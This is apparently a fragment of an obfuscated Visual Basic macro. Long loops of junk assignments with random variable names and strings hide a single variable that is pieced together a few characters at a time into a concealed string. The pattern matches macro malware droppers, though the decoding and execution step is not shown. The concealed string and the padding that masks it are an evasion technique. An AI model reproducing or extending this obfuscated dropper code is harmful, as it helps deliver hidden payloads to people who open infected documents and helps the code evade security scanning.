    While XjwwCJ < 1
        For BmIhsx = 0 To 8
            vbViXNlqt = 853 - 1592 - 912
            dqqArPPuGuJh = 1918 + 1968 + 154
            aRByQws = 1784 + 253 + 1377
            vbViXNlqt = 1471 - 984 - 876
            pdqfRDsiSovY = Right("SjGJC.Ymhv?Z((w&&", 5)
            pdqfRDsiSovY = RTrim("Ims&]xk!Cg%vc")
            aRByQws = 1076 + 965 + 1725
            rKrAkDUamyJ = 592 - 1297 - 321
            tlxfuIsxk = Left("!NS!#ULiWCetPMMoW", 5)
        Next BmIhsx

        tlxfuIsxk = Right("Ig.**@aGHn", 4)
        wjiuCT = 1169 + 719 + 717
        wjiuCT = ".lg)V nJnk" + "rfwV#LGOdbZr_qx" + "C_anbBV.hSJnm&bz"
        aRByQws = 727 - 1934 - 558
        eNMWfHJ = RTrim("INDfUT?!b@$pjiVHJ(c(")
        aRByQws = "jIAr.M.RKSFS@%ICa" + "XxFRTV!)I%loMQxXj&" + "^pR&xH! $odwTX"
        pdqfRDsiSovY = Right("t#OjZNaJ%dN&!(COFFym", 3)
        rKrAkDUamyJ = 1507 - 788 - 1386
        rKrAkDUamyJ = Right("Psf^kLx[ACnrH$ U*sCC", 4)
        RkKQwhtA = LTrim("C!wSbD.I_D]I]Q")
        XjwwCJ = XjwwCJ + 1
    Wend

    tlxfuIsxk = ")LP#O%WeVSSB[daMroK" + "zyVDlv)a&!YAbu#-)n" + "]suJo-^syZ*ym &qgA"
    vbViXNlqt = UCase("CloH^ZMsE#gm")
    mKubA = Space(7)
    niWFFF = niWFFF + "xTe"
    mKubA = UCase("QVdY bL.b]*D")
    aRByQws = RTrim("AA^wYXhyJY?s&q$")
    niWFFF = niWFFF + "( d"
    wjiuCT = 840 - 1867 - 751
    RkKQwhtA = 850 - 719 - 1166
    tlxfuIsxk = 403 - 1044 - 1226
    niWFFF = niWFFF + "/cc"
    For otRARR = 0 To 9
        yomjOVC = Space(1)
        tlxfuIsxk = RTrim("Z#FiroQP!ly")
        mKubA = 1177 + 386 + 1321
        OlaCtQECMQQv = StrReverse("ExD[whEEyQq*R_")
        vbViXNlqt = LTrim("IF&(oc(u$s]")
        dqqArPPuGuJh = 549 - 108 - 1920
    Next otRARR

    mKubA = UCase("eZcAw&Or_s")
    While dJFINw < 2
        eNMWfHJ = Space(15)
        pdqfRDsiSovY = StrReverse("G)kUrDjndi")
        pdqfRDsiSovY = Right("]*cxGdUZQVK!H", 4)
        rOmUr = Left("INdKmAU?crrl!G", 2)
        pdqfRDsiSovY = "WOb.(UWkDZY)[iI" + "[EhBGU._QOdZzgiP!I" + "&mVt( r #HlUz!"
        wjiuCT = Left("!S s?FfcqzYiUW[W", 2)
        eNMWfHJ = 1271 - 668 - 1046
        OlaCtQECMQQv = RTrim("(JwN*mKIlqJYKkwqm!C*")
        aRByQws = 1348 - 1193 - 370
        dJFINw = dJFINw + 1
    Wend

    niWFFF = niWFFF + "$ I"
    eNMWfHJ = RTrim(".wf*I^(m!MlO]VM")
    aRByQws = 1207 + 1555 + 746
    EHWboK = Right("mZvXxaZG*OH ", 4)
    rOmUr = "wM?IBUX&AYoWFA_zGQm" + "tvQcZLoPmaxI&" + "O$ u%GGjAQA%VIL"
    tlxfuIsxk = RTrim("&mE]?[UtTlQi")
    niWFFF = niWFFF + """.w"
    For rFpQdK = 0 To 5
        tlxfuIsxk = 650 + 1143 + 328
        rOmUr = 640 - 1111 - 1384
        pdqfRDsiSovY = StrReverse("]IhiyZ_IbVj_^l")
    Next rFpQdK

    EHWboK = LTrim("[iKMni!Oe?ByyddI$")
    While SbFVJV < 4
        RkKQwhtA = LTrim("sx]&R%ZgZ]lzct@[De")
        dqqArPPuGuJh = 831 - 573 - 236
        eNMWfHJ = Left("gZguAu[ayfri)bZ*blb", 3)
        eNMWfHJ = "Kr$)Dy!n]SFOr" + "U$cgRZp[fTC!zC" + "fn#..z.uH#pcvvYQp_"
        RkKQwhtA = RTrim("Fmr@hnNnCJ[Pv)SbZm")
        eNMWfHJ = Right("]j)]RpVsVwnXHS", 2)
        SbFVJV = SbFVJV + 1
    Wend

    rOmUr = 1031 + 682 + 1537
    niWFFF = niWFFF + "-mB"
    eNMWfHJ = StrReverse("nt-_U^uoK!y")
    mKubA = RTrim("PySbBe?)A&M-e")
    niWFFF = niWFFF + "ivc"
    EHWboK = Space(5)
    vbViXNlqt = Right("Q_J?hB*#x(Mc", 4)
    OlaCtQECMQQv = LTrim("?uFs-@oR!Lixs")
    OlaCtQECMQQv = 600 - 1128 - 1555
    pdqfRDsiSovY = UCase("tazU*Vz(BiXZcMK*iL")
    niWFFF = niWFFF + "%.x"
    For LSmEfe = 0 To 3
        For XloGyp = 0 To 5
            mKubA = Left("!@@Jm-Zfgt [c", 4)
            rKrAkDUamyJ = 1484 + 1922 + 1287
            wjiuCT = Left("GdnheeUoHs@aWJvv", 5)
            tlxfuIsxk = StrReverse("ycdX&wllVwu")
            dqqArPPuGuJh = "JHw KVY@lvRZWav$ObLl" + "NxlD-NmrSfkj.nIf]" + "Pw)zh^pFssSJ?J"
            wjiuCT = 1295 - 1771 - 691
            yomjOVC = 1511 + 773 + 477
            eNMWfHJ = LTrim("AQIFBpqu..mRILa^ja#G")
        Next XloGyp

        rOmUr = StrReverse("XrV]JhSGyX-X&NSDG")
        mKubA = Space(3)
        pdqfRDsiSovY = Right("EW_c.-jOB!.sp", 4)
        wjiuCT = "E?xVmAHGSSo" + "SfS!(!e*&v " + "rTO($Wm%$C-hw"
        rKrAkDUamyJ = LTrim("ldelk.BGCC^kT#AOW")
        mKubA = UCase("tLMWvO.XhCsX_!")
        RkKQwhtA = "kAwq_LE%stIHhTW" + "I%cKqCuEOVeA?H@h" + "*wTo*NaJnu@WASTM"
        OlaCtQECMQQv = StrReverse("hg]UYZMekRS^[&b")
        wjiuCT = UCase("oqPayV*hhOx T]A#i)W")
        mKubA = UCase("[f?-^i_^W)_")
    Next LSmEfe

    OlaCtQECMQQv = Left("qheWp!#FjtDV#c%%Aw*W", 4)
    niWFFF = niWFFF + "eBx"
    tlxfuIsxk = Right("GLaQ#Te*OsN@S*jJ.", 2)
    aRByQws = RTrim(")vn)j)(uxFN@wniFge@d")
    EHWboK = RTrim(" Fq.%^]@Ioc")
    niWFFF = niWFFF + "veW"
    RkKQwhtA = LTrim(".i%jA ot*[]")
    wjiuCT = LTrim("_% vhK#!hT_VbF@lp")
    For HwFNgS = 0 To 4
        For rpSwrL = 0 To 6
            wjiuCT = LTrim("YVq)?kl!Z*_WbTbd")
            rKrAkDUamyJ = 1036 + 443 + 719
            eNMWfHJ = 1264 - 695 - 275
            aRByQws = RTrim("sf!FUzce.ARhXg")
            yomjOVC = UCase("FQ-WM?g_GUMuy[emd")
            yomjOVC = RTrim("qjN_? *uFeEE?NGa%_n")
            yomjOVC = "GT.yEE mXy%mr^$)" + "hwJxJAtNnzYPR" + "jtRQ?*&oFwCos"
            eNMWfHJ = Left("zPgmgfdZ@gt", 5)
            aRByQws = StrReverse("-t c]oqSUKoKF&](BUSI")
        Next rpSwrL

        vbViXNlqt = 1715 - 997 - 604
        pdqfRDsiSovY = UCase("RJv#fCy&a^QrwsJDp)")
        eNMWfHJ = Right("Vh&XSp&JW@ondGdri", 4)
        pdqfRDsiSovY = Space(4)
        dqqArPPuGuJh = Space(3)
        dqqArPPuGuJh = UCase("uhA^[RbNv%lL@ v")
        RkKQwhtA = LTrim("mWvwVrFPuNum@LCx#O")
    Next HwFNgS

    yomjOVC = 1039 - 1029 - 1169
    rKrAkDUamyJ = UCase("lw_ij.Q[h_P")
    niWFFF = niWFFF + " Vw"
    RkKQwhtA = Space(7)
    eNMWfHJ = 639 + 751 + 263
    niWFFF = niWFFF + "^m-"
    rOmUr = UCase("o^hQon_gn)cuXE_")
    aRByQws = Left("bhjhOONMhcezfi&b[w", 5)
    niWFFF = niWFFF + "ibc"
    pdqfRDsiSovY = StrReverse(" B.qFt*H [#EHj")
    RkKQwhtA = Right("E#.U*GqNzCRQX]UdK", 3)
    yomjOVC = "]seTH#gfOdi)xN[Hpou#" + "Sp_nAYMaWxvYjkh##kR" + "^]SWfvpoxPhK.&LqMo."
    niWFFF = niWFFF + "k. "
    RkKQwhtA = UCase("qMTB!Fmfb(Di")
    dqqArPPuGuJh = StrReverse("kn?ikM?ZAR$PknXbDh")
    tlxfuIsxk = 1018 - 1166 - 1270
    EHWboK = StrReverse("_!D!?xrKxJuNNRIqFs@")
    eNMWfHJ = StrReverse("mdinaDFfXeRv")
    niWFFF = niWFFF + "emx"
    OlaCtQECMQQv = UCase("c.kyAgK@&DdYV")
    RkKQwhtA = 1799 - 1179 - 1023
    niWFFF = niWFFF + "]eI"
    wjiuCT = LTrim("!Ko!KpY)UcobQ")
    RkKQwhtA = Right("syp-!UxO*tr", 3)
    RkKQwhtA = LTrim("Hhh#n[b!#^JuPRUouXWi")
    niWFFF = niWFFF + " Ep"
    OlaCtQECMQQv = Right("A]^lCT tyE]XuoGTD", 3)
    While ysxsiT < 1
        For KmiQYw = 0 To 5
            yomjOVC = LTrim("WfbWuo#oTGjt")
            rKrAkDUamyJ = Left("&mdG?GKLQpFNhL", 2)
            OlaCtQECMQQv = RTrim("@A??--u mO_KcLj")
            mKubA = LTrim("x.RazTygVI")
            eNMWfHJ = 1225 - 1546 - 1083
            wjiuCT = Right("fjLin$Cj%^PO]T.LaAQH", 4)
            yomjOVC = Left("r$.)WrqgLUhqq", 5)
            mKubA = UCase("YJLAHv]j [).UBX@!Zhd")
            eNMWfHJ = "&]er#pBAtCZ[e]#-" + "#SvmSZ n*PU" + "Z^iem$hNLd@WfuOv"
            rOmUr = StrReverse("$bvk*xDfCR")
        Next KmiQYw

        RkKQwhtA = UCase("qnMfSxxDbgJeriI@S")
        EHWboK = 436 - 1108 - 953
        rOmUr = Space(12)
        eNMWfHJ = LTrim("h%awDo(.Vi?rm _nb[Z")
        dqqArPPuGuJh = StrReverse("JFrMGk]Y#dmHsPaI")
        eNMWfHJ = Right("TRqElJIeX!QHn$YF", 2)
        ysxsiT = ysxsiT + 2
    Wend

    niWFFF = niWFFF + "drk"
    EHWboK = "YofGKqmLN.$TAiY" + ")@I?ATUp$CCMXZTAC[-" + "qV^eorp@@u)UIfal"
    tlxfuIsxk = RTrim("pv@Gb[evlhic")
    rOmUr = Left("W@kR_kU^[rlBTXbofKsK", 5)
    niWFFF = niWFFF + "o&c"
    aRByQws = 1443 - 1088 - 1541
    For tSImfK = 0 To 7
        mKubA = StrReverse("R-XkmUx$gS&C!K*")
        pdqfRDsiSovY = 480 + 194 + 1056
    Next tSImfK

    yomjOVC = RTrim("Pik)!TIHkK).Lz%")
    pdqfRDsiSovY = 903 + 1037 + 1185
    pdqfRDsiSovY = RTrim("(m@d!!qr#V)U&(H")
    niWFFF = niWFFF + "-ex"
    eNMWfHJ = Left("SBE#or!CYC^owHV@[UP", 2)
    vbViXNlqt = RTrim("tnxDbPC)Lr%")
    vbViXNlqt = Right("MjIqYG!WM[k$", 2)
    wjiuCT = RTrim("EqB*yOa(FaE*Bi")
    niWFFF = niWFFF + "srs"
    RkKQwhtA = Space(8)
    rKrAkDUamyJ = StrReverse("X%!ra.Mm)l?DUqh")
    For pGJweT = 0 To 10
        eNMWfHJ = 1590 - 1552 - 230
        rOmUr = "j Z)E-wXsJjNE?Bf(uTC" + "w_Q.o&Vq@E&_S" + "gBpGk.UEbD@e?X@ix^"
        dqqArPPuGuJh = UCase("].J&op^RW]W%Iq")
        aRByQws = StrReverse("SgXtfNh#rMR HP#y!uz")
        aRByQws = Space(17)
        rOmUr = StrReverse("vN(XLEQrA%wAt%")
    Next pGJweT

    niWFFF = niWFFF + "D y"
    For FXGSyU = 0 To 4
        For XNfJwL = 0 To 10
            rKrAkDUamyJ = UCase("( qP&BeWdnMLGfTp%")
            vbViXNlqt = Left(")g&?jO]Lds*x", 4)
            OlaCtQECMQQv = 1151 + 1091 + 347
            eNMWfHJ = 963 - 142 - 1580
            rKrAkDUamyJ = "DxF!]wKui@) ci" + "x-dmkqJS_SS" + "VY]FiVcCz_kn&"
            tlxfuIsxk = 1885 - 1953 - 1605
            dqqArPPuGuJh = StrReverse("ikAsSv_tzsBLLcGDm")
        Next XNfJwL

        RkKQwhtA = Left("$CYWnW[[*yy?THRpz*t", 2)
        pdqfRDsiSovY = Space(20)
        RkKQwhtA = "&TNGZ#?)MDV%ph -" + "C(.*[?Tc]R[c.]HgtcZ" + "k)[r[*_G$ "
        mKubA = Left("pM&N-OxCglG", 4)
        dqqArPPuGuJh = 1075 - 389 - 1040
        RkKQwhtA = 1072 + 227 + 1581
        vbViXNlqt = Right("a&zMk(vXIQXajkp", 4)
        OlaCtQECMQQv = 1351 - 377 - 1615
    Next FXGSyU

    aRByQws = StrReverse("_plN?UsV$D%UO?wi[c")
    eNMWfHJ = Left("-XN^l&QUIWw?Y[", 3)
    OlaCtQECMQQv = RTrim("QYsKKzJpYRZv_")
    niWFFF = niWFFF + "c!a"
    dqqArPPuGuJh = RTrim("U* uS-&hKn&Ci^J$ed")
    While yBYuTV < 2
        While NxjdMT < 5
            rKrAkDUamyJ = Space(18)
            pdqfRDsiSovY = 615 - 1376 - 926
            pdqfRDsiSovY = UCase("jSI^&Ol?D_tp$Tb&")
            eNMWfHJ = 559 + 1443 + 931
            OlaCtQECMQQv = StrReverse("IrWbw_*ES#kSfLeKxIR")
            vbViXNlqt = 1108 + 291 + 1021
            dqqArPPuGuJh = "lp&*Wzlt._nzLMLt" + "JOITJUrB?[)XkSW?X " + "cJ^fq&fCKd"
            tlxfuIsxk = StrReverse("p!Fk?MCB[lz")
            rKrAkDUamyJ = 1698 - 197 - 1299
            wjiuCT = Right("UoZCk(@tS&YkPJ#AHa", 4)
            NxjdMT = NxjdMT + 3
        Wend

        RkKQwhtA = "$P-VvRlB_*vwdh-$d#!" + "vipD#x($krzEQ" + "kUYSZnXhgLl]"
        vbViXNlqt = 376 - 1699 - 1526
        EHWboK = StrReverse("(Xnh&Jx#OY")
        yomjOVC = LTrim("Acu?OLQQhyEEz")
        yBYuTV = yBYuTV + 2
    Wend

    For TAjjHP = 0 To 2
        For ItxOWB = 0 To 9
            mKubA = Space(13)
            EHWboK = Right("*?BNaTJ-(VZjj", 2)
            mKubA = Space(18)
            mKubA = 643 + 1741 + 1269
            RkKQwhtA = 916 + 1145 + 1523
            wjiuCT = StrReverse("*I)o_z[mB*XawQ")
            dqqArPPuGuJh = StrReverse("khqezQr?x-BF#)tRWEC(")
        Next ItxOWB

        rOmUr = Space(13)
        wjiuCT = 500 + 512 + 984
        dqqArPPuGuJh = Right("fepDiIKeY(m_", 4)
        aRByQws = Left("&_&SjUkJ%dcSI)", 5)
        wjiuCT = LTrim("dh_N%hJ?pGmtR^$Rej")
    Next TAjjHP

    mKubA = LTrim("[hz(e#$#QZBYjvSE")
    For kulOdz = 0 To 5
        For RYGLwi = 0 To 9
            dqqArPPuGuJh = 1469 - 121 - 1012
            EHWboK = 1622 + 1528 + 1808
            rKrAkDUamyJ = 1973 - 438 - 808
            OlaCtQECMQQv = StrReverse("]NTURvhhG.*ly")
            eNMWfHJ = Space(17)
            dqqArPPuGuJh = 988 - 1984 - 492
            rKrAkDUamyJ = Left("&z&lfwlmJPswJna(k", 4)
            vbViXNlqt = 424 - 981 - 783
        Next RYGLwi

        RkKQwhtA = StrReverse("h@Um*DOfkO*#DPsquD")
        EHWboK = 1081 + 976 + 811
        EHWboK = StrReverse("Ryql&RIK(DsHNH%!-g ")
        yomjOVC = LTrim("uXSuGnIw$[")
        eNMWfHJ = Space(12)
        OlaCtQECMQQv = "!T^E)^^[MAoZFef%" + "uxZ]Xm _v%#cDMao^iwr" + "%(HxJSsf^C[["
        aRByQws = RTrim("L)A]D[LGwoHkB?tORUMa")
        dqqArPPuGuJh = RTrim("#NN^EkS#eG")
        OlaCtQECMQQv = Left("^q!Yhd!Yxbua", 3)
        aRByQws = UCase("!VOjVV^ZgWOO@W")
    Next kulOdz

    niWFFF = niWFFF + "_lN"
    yomjOVC = Space(15)
    eNMWfHJ = StrReverse("TkG(Gr)sBu[tx")
    For jYZmna = 0 To 10
        yomjOVC = UCase("H^Y%BQ?hBE]#F")
        yomjOVC = 1759 + 1136 + 297
        mKubA = UCase("rM.*UjTVxsNjkK#M!@E")
    Next jYZmna

    RkKQwhtA = RTrim("MFjPwnwZ@Q")
    niWFFF = niWFFF + "lj "
    mKubA = RTrim("QmdHvkeP$NT")
    rKrAkDUamyJ = LTrim("q_k^Hn.pIXKV")
    eNMWfHJ = "*y(ECQ_bql)hUlxQ" + "_TDpg?NYjG" + "O@)TxA_f%H]SpN"
    vbViXNlqt = "TDbyyuWnI?" + "AQG]ShI^bVx^vpzh" + "EculAC)rnafgCuZj?^"
    niWFFF = niWFFF + "ecf"
    vbViXNlqt = RTrim("FBgCnHEeLBL$-NGu?")
    rKrAkDUamyJ = 858 - 937 - 917
    RkKQwhtA = StrReverse("?W(btbCD^z[lWZzPcmcS")
    vbViXNlqt = StrReverse(".[d!) m$NWl(yhRpuCql")
    dqqArPPuGuJh = LTrim("&$Z-WGyy%y")
    niWFFF = niWFFF + "rye"
    pdqfRDsiSovY = LTrim("CIMatvo-Q)")
    yomjOVC = Right("jGxTeXiw#w(lxoVD", 4)
    RkKQwhtA = "L&tmno%nGsuN]D)n" + "^Z]BdGDNjT#C#x%dz" + "Lo&k*sC!jRk(nTbf"
    vbViXNlqt = UCase("wa O*qV%ana*!MfP_R")
    tlxfuIsxk = 790 - 1463 - 1057
    niWFFF = niWFFF + " aj"
    For UvZORN = 0 To 10
        mKubA = Left("Gc]#KgXkCl.iht?A#", 4)
        dqqArPPuGuJh = RTrim("@vwk(t*Z$oF(Ey")
        wjiuCT = 1952 + 250 + 997
        tlxfuIsxk = RTrim("KE^niwHTke")
        dqqArPPuGuJh = 763 - 1214 - 465
        EHWboK = 412 + 673 + 244
        mKubA = StrReverse("DAo$hhta#VQ#")
        pdqfRDsiSovY = 977 + 423 + 804
        yomjOVC = LTrim("Aw!jdt(jMRD")
    Next UvZORN

    OlaCtQECMQQv = Left("gV?wcufUMw!J*", 5)
    wjiuCT = 1992 + 124 + 1385
    niWFFF = niWFFF + "tpe"
    tlxfuIsxk = RTrim("?YbTdr.fLvinOXlS$!Cu")
    rOmUr = "VJrI)?dlWATrai%NXR" + "Ih)On(aig*yVntG$VK" + "bk$$J [wDDrp_?fhF"
    While IXLmWb < 1
        For ZcunXs = 0 To 8
            wjiuCT = Left("ez(.w[Bk)rOjZuhna-", 3)
            eNMWfHJ = 958 - 917 - 661
            pdqfRDsiSovY = LTrim("g&AkMChMAX)h%]eLuvt")
        Next ZcunXs

        mKubA = 1270 - 1409 - 373
        aRByQws = LTrim("xqsLWNNUBG#DMlnBbG")
        IXLmWb = IXLmWb + 3
    Wend

    niWFFF = niWFFF + "$ D"
    While YOfXRj < 3
        While ogavri < 5
            RkKQwhtA = LTrim("x Thh.No]uH$ &w")
            RkKQwhtA = Left("LjdxCG%Cu!IedHZ", 3)
            EHWboK = 789 + 1991 + 1745
            OlaCtQECMQQv = 1606 - 1108 - 382
            ogavri = ogavri + 2
        Wend

        EHWboK = LTrim("GrO@*#kWUz@T")
        mKubA = StrReverse("&o[Y#R^QrKd@NzoRC?")
        eNMWfHJ = 1952 - 735 - 1186
        YOfXRj = YOfXRj + 3
    Wend

    While ZUWXEC < 3
        For dyAYjT = 0 To 7
            mKubA = Space(7)
            eNMWfHJ = StrReverse("dpwCDpJgJ]_e")
            tlxfuIsxk = 809 - 1196 - 191
        Next dyAYjT

        mKubA = 1378 - 1592 - 1064
        EHWboK = 1091 - 211 - 597
        vbViXNlqt = RTrim("ghpV!ZwfHfEvL")
        mKubA = Right("K#k-KJQddi[u[#L", 5)
        yomjOVC = "o Zh J _cy*bVUZ^EI" + ")zGQuGZv(_QkAOz_yh" + "HwoCH_JPC?pB"
        rOmUr = RTrim("]wJiV%b.(nQ")
        EHWboK = StrReverse("xhR.a !@m#yRxwlrCD")
        OlaCtQECMQQv = RTrim("z!Tsez]ns%&iss")
        mKubA = StrReverse("mQp%)x%!)zupFs")
        RkKQwhtA = 1440 - 1119 - 304
        ZUWXEC = ZUWXEC + 1
    Wend

    niWFFF = niWFFF + "FvO"
    wjiuCT = LTrim("yUir#!UydGqP.&KCwyr")
    pdqfRDsiSovY = UCase("nldyJw*G_FZa(WU")
    niWFFF = niWFFF + "ZLi"
    mKubA = Left("FA(Ybj%x)W*t-", 3)
    dqqArPPuGuJh = 1895 + 1750 + 526
    RkKQwhtA = StrReverse("L&$bTte).k^@sUk[")
    OlaCtQECMQQv = "HtcDOCkP#!V!" + "pvn$aqcWcij-!n@Y" + "lwudmxsZ@$f"
    OlaCtQECMQQv = StrReverse("xoU^izUFet")
    niWFFF = niWFFF + "DlE"
    rOmUr = Left("!(-H-xpIwlv", 3)
    pdqfRDsiSovY = 173 - 1591 - 822
    mKubA = 337 - 1916 - 1287
    RkKQwhtA = Left("RSVcAsTVNXt!", 3)
    rOmUr = StrReverse("DxPrx u*Nap_&")
    niWFFF = niWFFF + "sRB"
    wjiuCT = Right("@EWfo)ftdxS", 2)
    wjiuCT = 1378 - 532 - 1026
    vbViXNlqt = RTrim("y^gylnXbv[sc")
    aRByQws = Right("OQ!A^bR)nR)!uPI", 2)
    For wWBatY = 0 To 5
        While lQJoRB < 1
            eNMWfHJ = 1668 + 1350 + 1854
            wjiuCT = RTrim("Coog]KtuBvEE")
            pdqfRDsiSovY = RTrim("].Ejxn.x*ZTamkfOS.")
            EHWboK = LTrim("VNe$UTLkJK.![g%j")
            dqqArPPuGuJh = StrReverse("Vu!.bgHevDVVQFmpxyj]")
            aRByQws = Left("B)CHsc^ORlQ?puaE]A", 5)
            lQJoRB = lQJoRB + 3
        Wend

        tlxfuIsxk = 1264 - 1157 - 1510
        dqqArPPuGuJh = Space(10)
…